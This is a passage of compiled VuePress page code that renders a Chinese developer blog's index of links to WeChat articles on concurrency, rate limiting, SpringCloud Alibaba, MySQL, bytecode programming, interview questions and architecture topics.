noreferrer"}},[e._v("高并发环境下构建缓存服务需要注意哪些问题?我和阿里P9聊了很久!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489252&idx=1&sn=7fbef4c1a27fc01f865153adf409370c&chksm=cf55a1e5f82228f3df2f7a5f835c054fa9be1508f5c4b00bb1912418bcdce86510ba15f3fbd8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现亿级流量下的分布式限流?这些理论你必须掌握!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489251&idx=1&sn=e4445792085261c1515a0d02d8645bbe&chksm=cf55a1e2f82228f43039ba9916270e9efc2324949bc01d783c19492bd372b6645941dd85b632&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现亿级流量下的分布式限流?这些算法你必须掌握!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489250&idx=1&sn=23a68c11f125c0b5bcda767df5965101&chksm=cf55a1e3f82228f5708fa09147f7997ac64b5587c095ede1eca2c9699d8d13919ce26afea63a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("亿级流量场景下如何为HTTP接口限流?看完我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489249&idx=1&sn=bd7b103f9bece48e8b0ab41a6d8fefd7&chksm=cf55a1e0f82228f673a40be35c3dddea15941849bd026e6dc0b044de76a28a7f7787784048f4&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("亿级流量场景下如何实现分布式限流?看完我彻底懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489194&idx=1&sn=ea0631cc03ae8e57c002e94cec9472b9&chksm=cf55a1abf82228bdcd3d690b50a423097c959a5993b529a85dc58baea5d54f1c0330c3e4423e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Redis如何助力高并发秒杀系统?看完这篇我彻底懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489191&idx=1&sn=77c3ac60313a2e54e4cb719264f02cb4&chksm=cf55a1a6f82228b0094495740752f02e0614ba35bf543ad06b89873f6bce461f9a5d46b485a6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:Java中提供了synchronized,为什么还要提供Lock呢?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489164&idx=1&sn=d35d5ddb37f3d35e453bc6297cffbed9&chksm=cf55a18df822289bfd6b676acb73febc764e8a1c959d1d167523dff92d48150fbcbf21d3f016&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一文搞懂PV、UV、VV、IP及其关系与计算"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489161&idx=1&sn=4e5cb69ffd54e4bc083191dc44313d95&chksm=cf55a188f822289e0e2184932c3244bd3016c0011ce6b3865e219bdf372149cfc8d9a9653854&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("学好并发编程,需要掌握这些核心知识体系!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489157&idx=1&sn=6e76a0608f7873e4e34f0a67f2d94ec2&chksm=cf55a184f8222892ab4b82791b1ae300957720f6ea59624c497328576e2e05456fe6935ba0d8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发秒杀系统架构解密,不是所有的秒杀都是秒杀!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489156&idx=1&sn=28e9fa305c28ecff85d3d2e6f6a45ed9&chksm=cf55a185f822289370f55ba9e42403bc17aef087bde3c358d1e24c9c991b384284fbc0699e92&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("讲讲高并发场景下如何优化加锁方式?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489154&idx=1&sn=22faf83caf06638dd5f3547b08340fbe&chksm=cf55a183f8222895a237c3d0b4b6ddb92ed4d93600c37b1edd413716aed465bb60501bfa5d39&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发分布式锁架构解密,不是所有的锁都是分布式锁(升级版)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489151&idx=1&sn=b25b6a43c301cd02df48232d2c89c0d9&chksm=cf55a17ef82228684795669e2564be75d768968e7d2b7eabaae81d837c4ab53103ea95f46f4f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("学好并发编程,关键是要理解这三个核心问题!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489144&idx=1&sn=77bc4f740e68c7b706fb2a1619d85352&chksm=cf55a179f822286f78b604c3ecdd9cf50e1315f655c552b0fd999218b5671aff7a7636893b98&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("为啥局部变量是线程安全的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489130&idx=1&sn=981c1bbf315127a94d5152ac7706cda4&chksm=cf55a16bf822287d8e5988874de65001590ff2915cf3092e837c866bb3111f752cc8b71f9ef8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("并发编程到底应该学什么?一张图秒懂!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489094&idx=1&sn=9cd9c4efeb31d96cde375f15ea8e6ccb&chksm=cf55a147f8222851080c47f4dd5a4ef3aff6d2bdc7d9be3640f8dd9ab05e2ec32210719bba38&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("并发编程中一种经典的分而治之的思想!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489540&idx=1&sn=c86aa20794d406f11ce79b40ce356ef3&chksm=cf55af05f822261382ad28c05d0eb4374e3a941ee258ff09f78e5d0eceeb90b54a9cb5380825&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我们该如何正确的中断一个正在执行的线程??"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489468&idx=1&sn=d3f45ddb7405b36eaaadb45a4ee1672e&chksm=cf55a0bdf82229ab8f92282d836c0be4697ed7d0aacfc1fa3775db0cccd7089e187351b85d8d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("内存模型(八种操作+同步规则)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489467&idx=1&sn=47ae1d1de0468eb6b6f9a96691fe2a8c&chksm=cf55a0baf82229ac617384c100a4279b4107c6a6758e1001965f34df274c8bb27ce4c9b47ecf&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何安全的发布对象(含各种单例代码分析)"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"手撸源码系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#手撸源码系列"}},[e._v("#")]),e._v(" 手撸源码系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/5HOUg49X0xQmkQjMiWnaIg",target:"_blank",rel:"noopener noreferrer"}},[e._v("这次我设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497660&idx=1&sn=fb74836a052e0433ce64db1fcc5c3524&chksm=cf5640bdf821c9ab369207fa39caede4af0c822754203b4431b7f190699495b77c9dba859e09&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("手撸一款属于自己的Maven插件,说干就干!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"sa实战"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战"}},[e._v("#")]),e._v(" SA实战")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/1kS9RImTuL4hCnbxgfY1HQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第1章-专栏设计:专栏开篇"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/k93hPaozpq0yZyhzTn3AqA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第2章-专栏设计:专栏总体设计"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/jT5YqhMakXh8Fe5lOASwUQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第3章-微服务介绍:微服务核心技术介绍"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/WFFDr1gHrYNN17xk3MyYjw",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第4章-微服务环境搭建:项目说明、流程设计、技术选型与模块划分"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/BoKOEKzmJmHqVtgYBZyp-w",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第5章-微服务环境搭建:开撸:完成通用模块的开发"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/9baarUeDNOsRKraOzV_wyA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第6章-微服务环境搭建:快速搭建三大微服务并完成交互开发与测试"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/gKoEHbdcnGqW6fKdUFyUBg",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第7章-服务治理:实现服务的自动注册与发现"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/G2iXsMUJBwdnUEsQKkiyGQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第8章-服务治理:实现服务调用的负载均衡"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/B9YoUVdUuXtWQczP7ZVlBA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第9章-服务容错:服务雪崩与容错方案"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/wBb6lUEWf9jMNm56BDpspA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第10章-服务容错:项目整合Sentinel实现限流与容错"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/D_YpHey3mN0YZbzGL5-RIQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第11章-服务容错加餐:Sentinel核心技术"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/cx3crP7BnQwtCSJ7rFg8Rw",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第12章-服务网关:网关概述与核心架构"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/9HO15etc6PTZrQ1G6PuwhQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第13章-服务网关:项目整合SpringCloud Gateway网关"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/Byz2bClG8MdNTw8ujBgvHQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第14章-服务网关:SpringCloud Gateway核心技术"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/5NeBqv4-wGZ1A4Jsh-Qjng",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第15章-链路追踪:核心原理与解决方案"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/KRLxhqV2m6v0QmE26_UszA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第16章-链路追踪:项目整合Sleuth实现链路追踪"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/IJ2ijg-p8yamyfRH1Po42A",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第17章-链路追踪:Sleuth整合ZipKin"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/jfExlVktM_LQlS0UcQrLKA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第18章-消息服务:MQ使用场景与选型对比"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/mcx4juYK3FseyFeHYJ4jLw",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第19章-消息服务:项目整合RocketMQ"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/P3XaEqheUZg2KIdpGtvzfA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第20章-消息服务:RocketMQ核心技术"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/T7Fv1dOiwcZnxvwS-xoovQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第21章-服务配置:服务配置介绍与Nacos核心概念"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/UPRX0e5CsI1Wy2lBpfUdSA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第22章-服务配置:项目整合Nacos配置中心"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/D9WYSweokRxQ4EkHxuly4A",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第23章-服务配置:实现动态刷新与配置共享"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/aH5bxLe21p7aem2ze2XEpQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第24章-分布式事务:分布式事务核心原理与Seata介绍"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/I0rOjP0nMlemzP4ZJsbPCw",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第25章-分布式事务:项目整合Seata实现分布式事务"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/_OwhURhLDanxgOoiWALOQA",target:"_blank",rel:"noopener noreferrer"}},[e._v("SA实战 ·《SpringCloud Alibaba实战》第26章-专栏总结与后续规划"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/nuK5qC0TCQ6UYlyv0Y0m8A",target:"_blank",rel:"noopener noreferrer"}},[e._v("十大篇章,共26个章节,332页,正式发布!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"mysql核心知识"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#mysql核心知识"}},[e._v("#")]),e._v(" MySQL核心知识")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/oJyL6xz7YYDTbMT8bpz-dw",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第1章:开篇:专栏介绍"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/kIDUVms_MstfddVSxymZnQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第2章:MySQL常用的命令"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/VcQIaMthW-gpjSuqyquZxQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第3章:MySQL中的运算符"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/UW-ZUqfDMx-Z7CjSrmnlRg",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第4章:简单语法"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/JcpqhKJJr_S9I1Xj9Zj1mA",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第5章:字段长度与类型宽度"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/9JsCVxExqaviOiYO_bx6cg",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第6章:查询语句"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/_1_fiVUpFqOtb9x3jIZCAw",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第7章:插入、更新、删除"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/JxLo3_lvyL1zB7GLS4jsUw",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第8章:索引"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/MhTiA-LtqKMjw-UkfQcUNQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第9章:函数"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/B5J9G23Ap7aF3F3RgzSHFA",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第10章:自定义存储过程和函数"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/JnMc_fL8YK4HK2oy4JXRWw",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第11章:视图"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/b1MTNUGlyG-JMNhLHBFiNg",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第12章:触发器"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/9tRNKIZGIrXDah96od5DUQ",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第13章:权限管理"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/cC5STY0Cxiyddep6qNBEVg",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第14章:数据备份与恢复"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/ckPHvJdi5yz6hdUE_xD3qA",target:"_blank",rel:"noopener noreferrer"}},[e._v("《MySQL核心知识》第15章:自动备份与恢复MySQL数据库并发送Email邮件"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"字节码编程"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#字节码编程"}},[e._v("#")]),e._v(" 字节码编程")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498302&idx=1&sn=41b853ab5a43befaede06931e14369b1&chksm=cf564d3ff821c42982ea40ae98f3f2f09c520ff38103154e9f2c7d056654393177b7247eeac3&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("字节码编程|使用Javassist生成JavaBean"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498023&idx=1&sn=fc208f8ac5423f96e5a8f49589f8f4b4&chksm=cf564e26f821c730b2bab402d24852ca64dc721732031b0f8656f339c91266823951dfc46d53&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("字节码编程|工作多年的你是否接触过这种技术?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498262&idx=1&sn=8a72a0d60817fd40eda57f7f47f146ee&chksm=cf564d17f821c401a2c19944091044c318104cb684c439fdf66f26128307e127325656b73359&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("字节码编程|使用Javassist动态生成Hello World"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"面试必问系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#面试必问系列"}},[e._v("#")]),e._v(" 面试必问系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498705&idx=1&sn=d62fe252758439f40490392401640c87&chksm=cf564cd0f821c5c6b67534467252ad8b24ee30a9be3dcabbe91f7a9756d15a25bdc90b358820&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问 | 聊聊MySQL三大核心日志的实现原理?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498669&idx=1&sn=198733a3e5d2986ee578aa7b941be558&chksm=cf564cacf821c5bac83ac61f373d3b4fe0cef05e4b4b20257ae32e65f775c70f06c971458a47&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问 | 如何设计一款高并发的消息中间件?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498649&idx=1&sn=ccb0343afda59782a81cdf37e292868b&chksm=cf564c98f821c58e739e36f74791495b7452a96650aaa72aa6501745c20ab806546e407c5a70&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问|哪些场景下Spring的事务会失效?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498605&idx=1&sn=25484ab4786d002861454633b8a04e38&chksm=cf564c6cf821c57a4201860058c99d7617aed9851a68a2925b543c16596c688390b9646af1b4&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问|聊聊MyBatis执行流程?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498381&idx=1&sn=e76f43841f9d2a6f2bf7c2369944efc5&chksm=cf564d8cf821c49add82afea08dceb02a7d59788d70d350bafd002964831b6fabb3b2629f401&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问|聊聊JVM性能调优?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498784&idx=1&sn=e645d07e2e4e3341a628f89f93d2e7d2&chksm=cf564b21f821c23746d15b4f4cca534ea6d83105ca3ce9eac48f7e8d11bb3e37d1194fb89a67&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问 | 聊聊Kafka的消费模型?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499378&idx=1&sn=608f17c9da784e6863e7db36ab2be414&chksm=cf564973f821c065f1a3d772ab5d84d686830a07663d9b57539c37d356a8685f2dc5e4ee15b4&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问 | 为何数据库连接池不采用IO多路复用?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500042&idx=1&sn=a6bb4c40af2edaa8f85ce72c3b562cb9&chksm=cf56760bf821ff1d065a11bbea690ccf6263ecf71b6066c4241323f953eab25a359ffec71718&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试必问 | 一个线程从创建到消亡要经历哪些阶段?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"架构师进阶系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#架构师进阶系列"}},[e._v("#")]),e._v(" 架构师进阶系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495897&idx=1&sn=a5479e4aebf18a3e4cc30c8bec807051&chksm=cf5647d8f821ceceb42deb500f4bdc4d7d28bc64f671a0da69ca955ecbf6b82b2396e42064f3&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("架构师与高级开发工程师的分水岭是啥?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496020&idx=1&sn=aae3ea84c13d82e4027fb0381633d54b&chksm=cf564655f821cf4372325deb49ab982b4e290c73bdfba16095fae7d545a958d54a2686e1a329&token=1837443586&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("要想进大厂成为架构师需要掌握哪些硬核技能?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495960&idx=1&sn=489edee13ada9612e3a92b3f624bb02a&chksm=cf564619f821cf0ff31050587a2979f9847ce1930f653f3d1d087d42346ab7625f6bcb90ed39&token=1837443586&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM整体架构与调优参数说明"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497051&idx=1&sn=38312719e86b7f9cef31c00102da6c48&chksm=cf56425af821cb4c779873fdd793a73af274305f74de7ae72a06fcd2d9224f44541f4a2cad40&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("逃逸分析,yyds!!"),a("OutboundLink")],1)]),e._v(" 